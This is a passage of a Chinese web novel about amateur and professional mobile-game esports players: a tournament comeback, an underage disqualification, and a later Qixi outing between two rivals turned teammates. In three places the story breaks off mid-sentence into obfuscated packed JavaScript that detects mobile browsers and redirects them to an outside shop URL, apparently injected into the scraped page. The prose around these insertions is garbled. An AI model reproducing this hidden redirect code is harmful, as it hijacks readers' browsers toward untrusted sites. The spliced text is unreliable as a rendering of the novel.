全国大赛是给业余玩家准备的电竞比赛,官方是不会给选手提供专门沟通的设备的,除非选手自己会提前准备。而且,比赛现场是在大型商场,杂声极多,大屏幕里的游戏声、主持人的解说声、商场原有的各家店和游客的嘈杂声……这些声音都特别容易让队员无法听到队友的报点声。 所以一般打这个比赛负责指挥的选手,大部分都是坐在中间,并且扯着个嗓子大声说话。 反正对手隔得远,指挥方面的声音队友都听不太清楚,完全不用去担心对手听到我方战术。 但这种撕心裂肺、响彻整个舞台的音量,明显两边都能听到。最关键的是,这种声音往往提高的都是我方的士气,打压的永远是敌方的自信。 小U那一队的人一看就是这把游戏开始就被压着打,憋屈了很久。现在优势一落回他们手上,他们拿完暴君buff后便乘胜追击,一下子杀到了夜雨辰这边的高地塔。 夜雨辰的队伍士气明显受到了不小的影响,不少人一下子蔫了下去。 认谁打大顺风局的时候,因为自己的一个掉点就葬送了这一整把积累的全部优势,心里都会不好受。 郁秋不由自主地站起身,往观众席第一排,最靠近选手位置,或是说最靠近夜雨辰队伍的那个空位走去。 这种战况,夜雨辰那边的心态会开始出现什么样的问题,他可太清楚、太熟悉了。 失落和焦急。 失落丢失了如此好的局势,焦急得想把优势打回来。 那夜雨辰会怎么做? 他目光灼灼地看着夜雨辰,只见他临危不乱,正在台上语速极快且冷静地说着什么。 虽然听不到具体内容,但是根据对方表情和他队友表情的反馈,郁秋好像猜到了他们此时此刻会说什么。 那是他在训练赛里很久没说过的话。 是他以前打逆风局的时候最常有、也最应该有的心态—— 就算现在局势陷入了逆风,也不是自责和责怪队友的时候。 比赛还未结束,一切皆有可能。 夜雨辰正冷静地和队友说:“没事没事,不要着急,问题不大,还有机会。” “先守一会家,别掉点,龙点过了我们照样能打,一瞬间的事情就翻盘了。” 心理安慰给足队友,让队友在对局里不要出现过多的心里压力影响操作。 这才是团队赛该出现的最正常的良好心态。 而不是在局势逆风后完全不和队友交流,也不敢操作。害怕被压力,害怕被责怪,从而所有人越来越对赢没有了欲望,将胜利拱手相让。 夜雨辰一边和队友守着家,一边在试图卡视野开一波节奏将优势夺回来。 不过对手也不是傻子,自然不会如此轻易地将节奏重新送回到对方手上,接下来的五分钟,天平完全往小U的方向倾斜着,和开局的优势全然相反,两个队伍的气氛也明显大相径庭,一边越来越激动,一边越来越沉默。 不仅如此,小U那边在推高地的时候,小U凭借着英雄的手长优势,卡视野把夜雨辰的法师瞬秒了,他队友还顺便抓准了机会把同时被打残的射手一起收割了。 全场哗然。 郁秋也深吸一口气。 小U这个机会抓得太好了。 而且,因为双c暴毙,无论怎么看,夜雨辰的队伍这把已经胜利无望了。 这就要结束了么? 郁秋有些惋惜地叹了一口气。 果然战局的扭转永远就在一瞬间,真是可惜了前期的大优势。 而且这把游戏甚至不是决赛,他们连冠军的边角都没碰到就要输了么? 他重新看向大屏幕。 果然,小U的队伍将两座高地塔拔尽,明显想趁着双c不在的这几十秒内靠这两条兵线将对局书写下结局。 三打五,还缺少关键输出,夜雨辰这边活着的三个队友只好勉强把兵线卡在水晶攻击的范围外,硬生生地在拖法师和射手的复活时间。 但终究是徒劳,对面五个人同时冲锋,这三个人最后只能被收下人头。 好消息是,他们死前清完了这一波刚到的两路兵线,言星奕在死前极限操作将对面的射手击杀了,而且对面的大招全用完了。 但坏消息是,新一轮的两波兵线即将攻入水晶,夜雨辰和射手需要同时抵挡对面四人的攻势下,清掉兵线。 “一波!一波!!” 郁秋听着对面对翻盘无法遏制住的声音。 虽然成功翻盘的感觉始终让人意犹未尽沉醉其中,但不知道为什么,他就是希望这把夜雨辰能赢,所以觉得这亢奋的声音尤为刺耳。 果不其然,对面的兵线在即将到达水晶范围内的时候,对面四人直接向着刚复活的夜雨辰和射手突进,而小U则凭借着手长的优势,在两人大概会走的位置丢技能,企图压他们俩碰兵线的位置,最好是将其秒杀。 但这次,夜雨辰像是因为刚刚被小U对位单杀而感到愤怒。 他用百分之两百的专注度,在对面控制和伤害技能即将打在自己身上的瞬间,他才用闪现躲避了技能,直接造成了对面几人深陷敌营的处境。 接着,一个大招铺盖而下,将三人的行动减速,附带自己的技能预判,成功将这三人冻在原地。 全场再次掀起惊叹声,不少观众甚至被这一幕惊地站起了身。 难道说这把还有反转? 谁也没想到Rain的反应如此快且细节,仿佛将对面的操作早已预判了下来并想好了对策。而且,虽然Rain队的射手这把很坑一直掉点在拖累团队,但经济上起码也是一个已经发育成型的大爹,伤害恐怖如斯,加上他这次并没有被对面冲死,甚至因为Rain,他现在有足够安全的环境输出。 三个在技能空窗期的冰雕只能眼睁睁地看着自己死亡,最多就再垂死挣扎那么一两下,而剩余的小U因为见队友全被冻住,第一反应是往前靠走到技能施法范围内帮队友拆火尝试救队友。 结果就这么一小个走位,也被夜雨辰抓住了机会。 虽然他的控制技能还在cd,但最基本的减速技能还在。他先给对方挂上了一个减速,并用小小的一个特别细节的扭头,躲掉了小U的控制技能,成功拖住了小U打算后退的机会并等着他们家的射手来收割这第四个人头。 【团灭!】 二守四, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081157|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0换4,成功守家。 台下的观众不由自主地大吼夸赞着,主持人的解说声也不由自主地激昂了起来。 夜雨辰看着自己成功守下了家,也没忍住站起身激动大吼道:“兄弟们牛逼!!一波!!!!” 这句话像在发泄着自己队伍打出逆风局的憋屈,但更像是在告诉对手——不好意思,最后的胜者还是我们! 郁秋感受着团战带来的视觉冲击,心跳的频率不知什么时候跟着紧张激动了起来。 他紧抿着嘴唇,用力地为这一场胜利鼓着掌。他在竭力遏制着自己下意识想站起身,和身边的许多观众一样,对台上的选手一起大喊着牛逼的冲动。 他看着台上那名耀眼闪着光的少年,激动到从位置上跳起来大喊、并忍不住和几个一起奋斗的队友拥抱庆祝的朝气蓬勃的少年。 那是独属于他的热血,即使局势陷入逆风也临危不乱,水晶不炸就决不放弃对胜利的希望,大胆以身犯险操作对手的自信…… 这是电竞比赛最闪耀的光芒,也是电竞比赛最吸引选手的魅力。 是他的追求。 夜雨辰像在白茫茫的迷雾里突然出现的引路光芒,不断地吸引着他的目光。 对,他想起来了。 他之所以选择打职业,除了冠军,他还想以选手的身份站在这个游戏里最顶端的职业比赛,享受着团队比赛里队友们的默契羁绊五心合一带来的战果、比赛时滋生的对胜利的渴望追求,以及最后斩获胜利时挥之不去、激动到有落泪冲动的喜悦。 这种胜利是巅峰赛永远不会有的感觉。 这是独属于团队赛的荣耀感。 郁秋缓缓放下了自己鼓掌的双手,心底深处响起了一道声音。 突然想认识一下夜雨辰。 不是刚刚那狼狈模样的身份,而是以“秋”的身份。 * 一有这个想法,郁秋就控制不住有些紧张,甚至有点怯意。 主动搭讪这种事情他可从没干过。 他直接去洗手间洗了把脸冷静冷静。 等完全做好心里准备,他才回到比赛现场,鼓起勇气打算和夜雨辰进行第一次真正意义上的搭话。 “去你丫的!什么恶心行为!” 在他刚走到他们队附近的时候,他听到了一个人的怒声。 是言星奕的。 郁秋的动作下意识一僵。 他暴露了?这种行为很恶心吗? 只听有个人在旁边无奈地叹了口气:“没办法,小人是这样的,实力比不过只能玩阴的。” 言星奕不服道:“狗屎运进的四强真把自己当回事了!直面我们的勇气都没有!而且让我们没法比赛他们就能夺冠了吗?小U那一队他们怎么打?EA那一队他们怎么打?” 一个队友冷哼一声:“省标低分崽,连个小国标的技术都没有只能靠这么玩咯,四强已经是他们的一辈子了吧。” 第三个队友同样愤慨道:“最气的是他们只针对我们啊!那个小U和你们俩是一个情况吧?!就因为他的队友是熟人所以不敢去针对吗?!卧槽我受不了了这不公平!” 言星奕气急败坏:“气死我了,举报还专挑软柿子来捏!” 举报? 郁秋一怔。 这种小比赛居然也会有这种会嫉妒他人而且居心叵测的人吗? 而且,夜雨辰他们难道因为被举报所以直接被比赛官方赶走了吗? 可是是什么原因会严重到直接被禁赛? “算了,至少今天打得还挺尽兴不是吗?一开始也确实是我们不符合规矩。” 夜雨辰倒没有跟着骂骂咧咧,即使语气里依旧带着一丝就这么结束了比赛旅途的不甘和遗憾。他不屑地补充了一句,“反正这群人在游戏里连排到我们的资格都没有。” 言星奕在旁边依旧无法感到平心静气,不耐烦道:“可还是很烦啊!草!他们怎么知道我俩是未成年的?!真羡慕那个小U,未成年却没被举报!” 郁秋:“……” 未成年啊,那没事了。 虽然明面上规定这种比赛必须十八岁以上才能参加,但官方的审核并不会特别严谨,总会有特别想参加比赛却未满足年龄要求的选手报名,反正就算被发现了对选手来说也不会有任何的惩罚。 夜雨辰安慰道:“等你后年成年,你们再来组队比赛也来得及。” “‘你们’?”言星奕一下抓住了这句话的重点,“什么意思夜雨辰,以后你不会和我一起比赛吗?” 夜雨辰:“我啊?应该不会了。” 言星奕诧异:“为什么?!” “因为刚刚的比赛,我突然想追求一些新的东西。”夜雨辰看向了比赛台上正在火热进行的比赛大屏幕,喃喃道,“这种感觉真的让人很想沉醉其中。” 这次比赛带给他的感觉让他流连忘返。 虽然遗憾也是有的,他刚刚也和小U约定好了,未来在赛场上他们俩再次对决胜负。 他是真的很不服气,他居然被小U单杀了,虽然最后赢了比赛,但他对此还是很生气,并下定决心以后他一定要把小U打得落花流水。 还有就是这次最大的遗憾是和EA那个队伍都没机会交上手,而且这次比赛他们最终也没夺下冠军…… 他收回目光,看向言星奕。 下定决心、铿锵有力的语句落入了言星奕和躲在他们幕后的郁秋的耳里—— “我想去打职业。” “现在的小目标是,冠军。” 64. 成长 傍晚,天空浸上一层柔和的琥珀色,太阳缓缓西沉,为海面穿了一层金色的薄纱。 落日余晖洒进了房间,落在了正站在落地窗前的夜雨辰身上。 他正静静地眺望着远处海面上的夕阳,观赏着这难得一见的海上景色。 酒店房间里,此时除了设在角落里的夜灯暗暗闪烁着,整个房间都黯淡且安静,是个很适合睡觉的氛围。 “唔……” 一道懒懒地呻吟声在房间内响起。 夜雨辰听到动静,轻轻且迅速地将身后的窗帘打开一条小缝隙,并将头探了进去。 身后的残阳随着这条缝隙一同钻入了房间。 借着这道橘黄色的暖光线,他看到了床上的人正在伸懒腰的修长身形。 夜雨辰轻声问道:“醒了?还睡吗?” 郁秋一下就被整个房间里唯一的光源处吸引住了目光。许是刚刚做的回忆梦,他看着唯一的光束下熟悉的身影,有些微微出神:“不了吧,几点了?” 确认自己的舍友不打算继续睡觉,夜雨辰一边打开房间的全部窗帘,一边答道:“六点半。” 整个房间霎时被染成了金黄色的空间。 接着,他偏过头,和仍坐在床上看着自己的郁秋对上了视线,表情有些复杂道:“你……” 但话还没说出口,他还是选择了闭嘴:“算了,没事。” “?” 郁秋对夜雨辰欲言又止的模样挑了挑眉。 不过,不知道是不是因为几个小时前郁秋刚跟夜雨辰讲过乌宁做出背刺行为前也是如此欲言又止,夜雨辰突然不打算藏着掖着了,他烦躁地叹了口气:“算了,我还是说了吧。” 郁秋没有答话,但脸上写得是“请说”的意思。 “你……”夜雨辰还是有点支支吾吾,“知不知道自己刚刚说梦话了?” 郁秋的表情僵了一瞬,但他很快便回过了神,若无其事道:“说了什么?” “牛逼。” “啊?” 夜雨辰干咳两声,幽幽把视线瞥到一旁,复述着刚刚听到的声音:“说了‘牛逼’这两个字。” “而且语气还挺……慷慨激昂的,刚刚突然蹦出这个词,吓我一跳。” 郁秋哑声:“……” 他记得刚刚梦里也没喊出这个词啊! 夜雨辰小声嘀咕道:“应该不是做噩梦吧?” 郁秋一愣:“什么?” “没事,”夜雨辰立马回过神。他动作迅速地坐回自己床边背对着郁秋,注意力似突然全放在了自己手机有没有充满电顺便开始搜索着附近的门店。他硬生生地掰开话题,“出门吃饭吗?我饿了。” “不是噩梦。” 郁秋带着一些笑意的声音从他身后响起,“你这是在担心我刚刚讲青训的事情勾起我不好的回忆?” 听对方戳破了自己的心思,夜雨辰有些不满道:“……谁担心这个了?少自恋了。” 郁秋追问道:“那你在担心什么?” “……” 夜雨辰倏地一下站起身,迅速走到了房门口,看也没看一眼郁秋,没好气道:“你不走我走了,饿死了。” 郁秋看着夜雨辰有些发红的耳根,没忍住好笑道:“走。” * 夜雨辰将想吃饭的地点选在了酒店附近的欢乐商场里。 郁秋站在商场的大门口,有些诧异:“居然是在这里吗?” 夜雨辰明显对郁秋刚刚戳破自己的心思还心存不满,冷哼一声:“怎么,你来过?” 郁秋颔首:“这离Fire的青训营挺近的,我以前挺喜欢来这解决。” 说着,他还示意了一下商场内对着大门空地的方向,十分诚恳道:“而且在那里我们算是见过?你现在应该知道了。” “……” 夜雨辰顿时想起来刚进JYY战队的当天,他就认出来了一个曾经给他送发烧贴的某傻逼。 确实就是在这个商场比赛时收到的,而且自己那时候刚买没用过几次的雨伞也一并被还了回来。 不过他最多只知道在这里遇到过郁秋,并不知道Fire的青训营在这附近。 夜雨辰突然转身:“突然不想吃烧鸡了,我们换家店吧。” “等等。” 郁秋的声音在身后响起,下一秒,他的手腕在身后被拉住了。 只听对方说道,“我印象里,其他饭店不错的地方距离这里要走二十分钟。” 就差不多是他们上课的少年宫附近,他们出门的反方向。 “你不是说很饿吗?这里就算打车过去路况也复杂,过去也要十多分钟,而且这个点还是饭店的高峰期,过去排队估计要等更久。” 夜雨辰回首看向郁秋,双眸微眯。 他仔细观察着对方的表情—— 郁秋的脸上全然没有对这地方会勾起他曾经一些不堪回忆的任何难堪。 根本无法看出来究竟是将情绪隐藏得极深不让他人察觉,还是真的完全已经不在意这些过去的事情了。 郁秋莞尔道:“你刚刚说的那家烧鸡店我突然有点印象,我觉得我们现在赶紧过去有机会不用排队。” 夜雨辰目光灼灼地看着他,迟迟不为所动,甚至没甩开正抓着自己手腕的那只手。 “……”郁秋感受着这炽热的视线,突然试探地问道,“我刚刚不会不止说了梦话吧?” 夜雨辰一噎:“那倒不是。” 郁秋:“那你不想在这吃是有什么顾虑吗?你路上看上去明明很想去这家店。” “你的错觉。”夜雨辰小声嘟囔了一句。 接着,他幽幽地将视线放回在郁秋身上,若有所思地看着他。半晌,他才下定决心问出自己心里一直想着的东西:“你对这里不会有不好的回忆吗?” 他对郁秋的这些事情虽然确实充满了好奇心,但不代表他是个喜欢挖别人伤疤、甚至知道伤疤后还会不停地戳的人。 所以即使他真的想吃那家店的烧鸡,但还是更担心这个地方会勾起郁秋的一些回忆而心情不快,而且不仅如此,他还不想郁秋就算心情不好,却依旧装作一副若无其事的样子骗他自己没事。 人就是这样,一旦知道一些东西后就会不由自主地去在乎更多的东西。 听到这个想法,郁秋一怔。随即,他好笑道:“怎么会?” 他松开手,莞尔道:“边走边说?我也很饿了。” 说着,就进入了商场。 夜雨辰垂眸看了看自己残留着余温的手腕。 数秒后,他才跟上了郁秋的步伐。 “这个算是我自己的一些人生小体会?” 郁秋见夜雨辰跟了上来,才侃侃开口道, “说实话,我忘不了当时被背刺的感觉,甚至可以说我现在对此都还记忆犹深,而且我也会承认,确实,那段时日对我来说很痛苦、很难熬。” 他甚至自我怀疑的心情到现在都难以忘记。 听到这,夜雨辰不禁抿紧嘴唇。 被自己的好友背刺、被他人否认自己努力的游戏实力、一直输训练赛……这些事情他虽从未体验过,但随便拎一件事出来一想,都是能让他难受很久的糟心事。 就像他第一次上全国第一的时候,却被造谣是靠一些不见光的手段所以让郁秋拱手相让这个位置。 “但是,” 郁秋突然停下脚步。他转头看向夜雨辰,轻声道:“这些全都是过去式了。” “时间是不会为一个人的痛苦而驻留的。” 郁秋笑道,“我从这段时间里吸取到的教训、体会过的感觉,全都是我的人生经历。我如果现在心里还放不下这件事情,那么我现在的表现一定会是想方设法跟你逃避并随口糊弄过去这个话题,而不是像现在这样,如此平静地讲述这个故事。” “这些事全都过去了,当初是很难受,但熬过来并回头去看的话,心里又不由自主地会有种‘啊,其实这也没什么大不了’的念头。” 夜雨辰有些出神地看着郁秋。 这家伙的心态是真的太好了……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081158|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 因为他现在都是那种不太敢回头直视痛苦的人。 郁秋继续道:“对我来说,这件事带给我的反思、收获和心态上的改变,便是我的成长,所以总体来说,这其实对我是一件好事。” 说到这,他突然想起来件事,“对了,我记得我之前好像跟你分享过一句话,也算是我对这件事的一个‘成长’的象征?” 夜雨辰一时没想起来:“哪句话?” 郁秋耐心地和他重复道—— 【一个人要是活在他人的声音里,那便迟早会死在他人的言语中】 * 十几分钟后,夜雨辰和郁秋二人终于排到队坐进了饭店。 郁秋感叹道:“你似乎很喜欢这家店。” 夜雨辰翻看着菜单:“对,比赛那天结束后我们是在这家店吃的,很好吃,对我来说也是记忆挺深刻的一次聚餐。” 突然,他想起来了郁秋这家伙似乎看过自己比赛。他问道:“你之前在台下看了多久比赛?” 郁秋果断答道:“没多久。” “那你知道我最后拿了第几名吗?” “不知道。” “我队伍的队名是什么?” “没关注。” 夜雨辰目光灼灼地盯着郁秋的表情。数秒后,他一字一句道:“你所有的回答都像是早就做好了准备应付我。” “……”沉默了三秒,郁秋才无奈地认栽,“何必呢?” 说实话的话,夜雨辰听了可能会不高兴。 夜雨辰将菜单合上:“哼。” 丢人现眼的队名、被单杀的场面、甚至被别人举报到不能继续参赛所以狼狈离场的糗样估计都被这家伙尽收眼底了。 餐桌上的气氛还是陷入了莫名尴尬的气氛。 郁秋见状,立马扯了个话题缓解气氛:“其实当初我看你那‘不当人’流的火舞打法,我感到十分地忌惮,并非常希望你这种法师在巅峰赛里排到我这边。” 夜雨辰依旧没有说话,不过他的嘴角控制不住地上翘了那么一丢丢。他偏过头,手托着脸,轻描淡写道:“这种打法也可以说是‘戒游大法’,保证对面打野患上绝食症,不过我没必要去同情对手的游戏体验。” 说到这,夜雨辰突然问道:“你那几个小时一直坐在观众席上?” 郁秋摇了摇头:“那倒没有,中途回出租屋换了身衣服,太湿了,冷。” 夜雨辰恍然大悟。 怪不得他在拿回伞后,迟迟在观众席甚至附近都看不到熟悉的灰色外套。 感情是这人还不想被他认出来! 怂。 郁秋继续道:“不过其实当初我挺想和你搭话的,不过不是以那狼狈的身份。” “…………”夜雨辰像是猜到了什么,脸顿时黑了下来。 他的语调也骤然降低了些许,皮笑肉不笑地看向郁秋,“以‘秋’的身份?” 那次比赛后的一个月,郁秋的游戏号突然空降回了游戏的全国第一,让他完全没有机会享受一次第一的宝座。 最关键的是…… 郁秋丝毫没察觉到夜雨辰任何的不对劲,点了点头:“嗯。” 夜雨辰继续维持着脸上的假笑:“所以你的‘搭话’就是巅峰赛一直排我对面,拦截我数次的第一晋级赛,并一直回城嘲讽我吗?” “。” 郁秋终于察觉到一丝不对劲。他吞了一口唾沫,缓缓道:“这个其实是个意外,匹配机制的问题,太恰好了每把都把我们俩分在了对面……” 夜雨辰明显不信,冷眼看着郁秋:“那回城嘲讽?” “……”郁秋突然哑声。半晌,他幽幽地瞥开视线,似是心虚地狡辩道:“如果我说是别人教我的搭讪方法,或是说能引起人关注的一个方法你信……” 夜雨辰斩钉截铁道:“不信。” 怎么会有人教别人这么蠢的搭讪方法? 郁秋悻悻然地闭上了嘴,不打算继续解释下去了。 因为这个方法明明就是夜雨辰教他的! 65. 委屈 僵硬的氛围就这么从餐厅带回到了酒店。 也不能说僵硬,其实郁秋在这一小时里已经一直想方设法的跟夜雨辰起其他的话题了,但得到的永远是敷衍的回答。 夜雨辰完全不想理他。 一想到郁秋这家伙把两年前阻碍自己上全国第一的晋级赛一个月,而且每次都在自己看得到的范围内回城嘲讽自己的行为说成是别人教的搭讪,他只是想认识自己就气不打一处来,就连美味的烧鸡都不香了! 他还记得,当初他只要被嘲讽一次,就直接在“当0当1不当”的三人小群里骂一次这个无冤无仇挑衅自己的神经病。就像刚刚在餐厅,他已经开始和自己的好友们吐槽了—— 【微信群:当0当1不当(3)】 【Night:他TM居然跟我说这是别人教他的搭讪方法,他只是想通过这个方法认识我??】 【Night:怎么可能有傻逼教这种搭讪方法,人才吗?】 【Night:弱智才信这种借口。】 等回到酒店后,他才收到了群里小U一个人的回复。 【U:笑死。】 “……” 夜雨辰看着仅此一条的消息,挑了下眉。 言星奕没回消息很正常,毕竟这个点他应该是在学校上晚自习,没办法看手机;但以小U这种话痨的性格,平常都是和他一起吐槽这种行为的,从不会发两个字后便没了后文。 是他错觉吗,总觉得有点奇怪。 【Night:你最近在俱乐部怎么样?】 【U:就这样呗,该训练训练,该玩玩。】 【U:只不过最近有点忙,原来职业选手除了训练还有这么多事情要做的吗?】 忙? 夜雨辰一怔。 【Night:忙什么?】 他这接近一个月的职业选手活动里,就只有训练、直播和赚外快的代打这三件事,倒没有其他特别多的事情,怎么会忙? 是因为他在的战队是现在联盟最穷的吊车尾战队所以才不忙吗? 还是这家伙在俱乐部又遇到了什么事情但又憋着不说? 毕竟他的FQ的战队现在还有个瘤子邱子幸。 【U:为战队运营账号拍一些日常vlog、拍海报照这些,这几天天天往外跑真的社恐死我了,还好我后天没机会去上课,终于有机会歇口气了。】 【U:不聊了,我先去吃饭了,饿死了 。】 看着这几条消息,夜雨辰心里没忍住有点小羡慕。 怎么他们战队就没这些小活动呢? 比天天枯燥的只打游戏有意思多了。 他下意识开口问道:“郁……” 不过还没来得及将这个字念完,就立马闭上了嘴。 差点忘了,他还在生气中。 但这一闪而过的声音还是被在一旁郁闷的看着自己手机的郁秋抓了个正着:“怎么了?” 看上去似乎还有点开心,似乎是在一旁等了很久夜雨辰主动和他打说话。 夜雨辰:“……” 耳朵怎么这么灵? 他冷哼一声,直接起身去卫生间,顺便将隔绝浴室和卧室的两个巨大推拉门合紧,把二人隔开在两个不同的空间。 只要他当作自己刚刚啥也没说,尴尬的就不是他。 酒店房间的洗手间很大,洗漱台、浴缸、淋浴间、以及两个似乎是用来放洗漱用品和化妆品的大台子。 夜雨辰直接一屁股坐到什么东西都没放的空台子上,重新拿起了手机。 这种事情,他还有一个人可以一起吐槽,毕竟知道他曾经对郁秋有过怨气的也就这三个人了。 他打开了一个最近没怎么用过的APP,Whisper Tree,并给里面唯一的好友复述了一遍刚刚事情的起因经过结果后,直接总结道: 【Rain:我找茬都说不出这种话。】 【有耳:……】 郁秋看着这一连串犹如炮仗的消息,再抬头看了一眼紧闭着的卫生间大门。 他还是感觉自己特别冤枉。 他回酒店以后,就把他和夜雨辰两年前在Whisper Tree的聊天记录翻了出来,并仔仔细细地读了一遍。 他确实是按夜雨辰说的来做的啊!为什么这么生气? 那是他刚在这个APP上加上夜雨辰,并算是帮他解决了一个心结后的聊天—— 【有耳:你这个年龄一般会喜欢什么样类型的人?】 【Rain:不知道,没想过,问这个干嘛?】 【有耳:想认识一个和你年龄相仿的人,你有没有什么好的建议?】 【Rain:你的意思是你喜欢一个人,但你们俩现在并不认识是吗?】 【有耳:嗯,算是吧。】 【Rain:我没猜错的话您成年了吧?】 【有耳:是的。】 【Rain:您知道我是未成年吧?】 【有耳:知道。】 【Rain:知道是未成年还想下手?畜生。】 【有耳:…………】 【Rain:我只能说,别人我不知道,不过我应该会对那种能和我并肩作战,最好比我强的人有好感。】 【Rain:然后这个人的存在感一定是特别强的,不然有时候就算再优秀的一个人,我也不一定会注意到对方的存在。】 【Rain:看在你刚刚帮我的份上,我只能勉强回答你一些,但你真的别对未成年下手,犯法的!】 郁秋若有所思地盯着“存在感强”这四个字。 就算放到现在,他还是觉得自己做得没问题啊? 巅峰赛的对局里又不能打字和对手沟通交流,所以他不只能在每把游戏里展示出碾压夜雨辰游戏节奏的技术,并在他的视野范围内跟他回城打招呼吸引他的注意力刷存在感吗? 可惜的就是他为了和夜雨辰匹配到同一对局,于是拿小号一直蹲在对方的音符平台直播间里等时机。可每次只会在夜雨辰的晋级赛时撞成对手,根本就没有过并肩作战的机会。 好感没有就算了,但是这怎么就变成嘲讽了呢? 真的想不通,还是觉得委屈。 * 吐槽归吐槽,生气归生气,但夜雨辰和别人的聊天时从不会迁怒。 白天他和小柯聊得挺合得来的,所以他们俩直接加上了联系方式。 小柯一直在和他哭下午的考试没及格,明天不能在白天和他们一起出去玩了。 原本计划是他和希楠一起找夜雨辰和郁秋在白天出门玩的,现在却只有晚上有空一起吃个晚饭并玩玩了。 夜雨辰倒是在安慰小柯,并问对方要不要把嘉辉叫上一起出门玩。 毕竟也算是跨城市旅游,好不容易算是放假的一天空闲时间,谁还会闷着个头在酒店里抱着手机打游戏? 【柯:叫他干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081159|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛?不叫不叫。】 【Night:人多一起玩更热闹一些。】 【柯:人多是热闹啊,所以叫了你和郁秋一起出门,叫他干嘛?在旁边当电灯泡吗?】 【“柯”已撤回一条消息】 【Night:?】 夜雨辰还没看到后半句话就被小柯撤回了。 【柯:就是因为人多热闹所以叫了你们俩一起呀,你们明天在附近玩玩,逛逛街,然后看个电影啥的然后我就可以来找你们了!】 【柯:OK就这么定了,希楠找我有事,我先下了。】 夜雨辰看着又这么沉寂下去的聊天框:“……” 半晌,他长叹一口气,打算先洗个澡冷静冷静。 他现在其实暂时不太想聊和郁秋有关的话题,毕竟还是有点生气。 但小柯可能是太久没和郁秋没出门聚会,所以想趁着明天的机会一起出门玩?而他刚刚好和嘉辉不熟,嘉辉也和郁秋不是一个战队的,所以不想叫他,叫自己是怕自己尴尬,所以把他们俩一并约上了吗? 但是怎么总觉得自己忽略了什么呢? 从下午考试完到现在,为什么小柯的表现一直像是特别想明天出门玩?而且是不舍得浪费一分一秒那种。 等洗完澡出门,他语气还是略带些不善的对郁秋说:“小柯约我们明天出去玩,不过是晚上。” 郁秋像是早就知道了这回事,脸上并没有多惊讶:“那白天你怎么打算的?” 夜雨辰拿毛巾擦着自己滴水的头发,看也不看一眼郁秋:“出门玩,但我不熟这里,你在这个城市呆过,对这熟,有什么主意吗?” 郁秋看了一眼自己的手机上的消息:“明天我们还要退房,但好消息是战队的酒店就订在我们这家楼下,所以不用担心行李的存放问题。” “你要是想轻松随意一点,那就在这附近的商城超市玩玩顺便看个电影打发下时间;要是想去这个城市一些好玩的地方,比如欢乐谷、世界之窗那些,就得早起——” 听到“早起”二字,夜雨辰立马打断了郁秋:“轻松随意点。” 他早上可起不来,而且就算真的起来了,晚上还要赶回来这附近和小柯汇合,想想就很累。 他是打算把明天当放假来看的,轻轻松松睡懒觉多好。 郁秋对话被打断没什么多大感觉,看着夜雨辰的目光里满是宠溺:“我随意,听你的。” “那你计划,我听你的就行,具体细节不用问我。”夜雨辰说着,带上了耳机并打开了游戏准备打打单子。在即将匹配进游戏的时候,他突然看向郁秋,警告道,“然后我们俩今天暂时先别说话了。” “为什么?” “因为我现在看到你就有种想揍你的冲动。” 说完,夜雨辰就完全不打算再理会郁秋。 “……” 郁秋嘴角微微抽了一下,缓缓低头看向自己正在聊天的对象。 【Q:我是不是该对你说声谢谢?这么费尽心思帮我创造一个约会机会?】 他刚刚是故意对夜雨辰说去其他地方玩需要早起的,毕竟以职业选手的性格来说,早上根本起不来。 【柯:没打算浪费钱而已,刚好你们俩也适合。你就感谢这狗考试吧!及格线这么高,搞得我和希楠早就订好的电影票都没得看了!】 【柯:这部电影可是现在网上传得“七夕节最值得带对象去看的影片”之一,真的是便宜你了。】 66. 七夕 第二天中午,欢乐商场里。 “这是您点的情侣套餐,请收好。” 奶茶店店员向夜雨辰递过两杯奶茶。 夜雨辰十分自然地接过两杯包装一样的奶茶。 买情侣套餐纯粹是因为比单买两杯奶茶花的钱少而已,能省则省。 两个人点的是同一种类型的奶茶,区别仅仅是糖分的多少罢了。 他把郁秋的奶茶递过去后,一边喝着自己的无糖奶茶一边后知后觉的开始环顾欢乐商场里其他门店的布置—— 大部分门店包括他们现在呆的奶茶店和刚刚吃饭的饭店都布置着各种粉紫色的装饰品,看上去十分浪漫,而且都在不约而同地举办着什么促销活动。 再加上商场里不少一男一女且关系一看就十分亲密的组合…… 今天是什么日子吗? 夜雨辰疑惑地打开手机的日历——七夕节。 “……” 怪不得。 他从没过过七夕节,所以对这个日子的到来十分不敏感。 他默默地瞥向站在自己旁边喝奶茶、看上去同样很自然的郁秋,目光变得有些异样。 现在知道今天是这个节日,突然就觉得和郁秋在今天一起出门有些……别扭? 这人察觉到今天是七夕了吗? 郁秋很快便察觉到了这道放在自己身上的视线:“怎么了?” 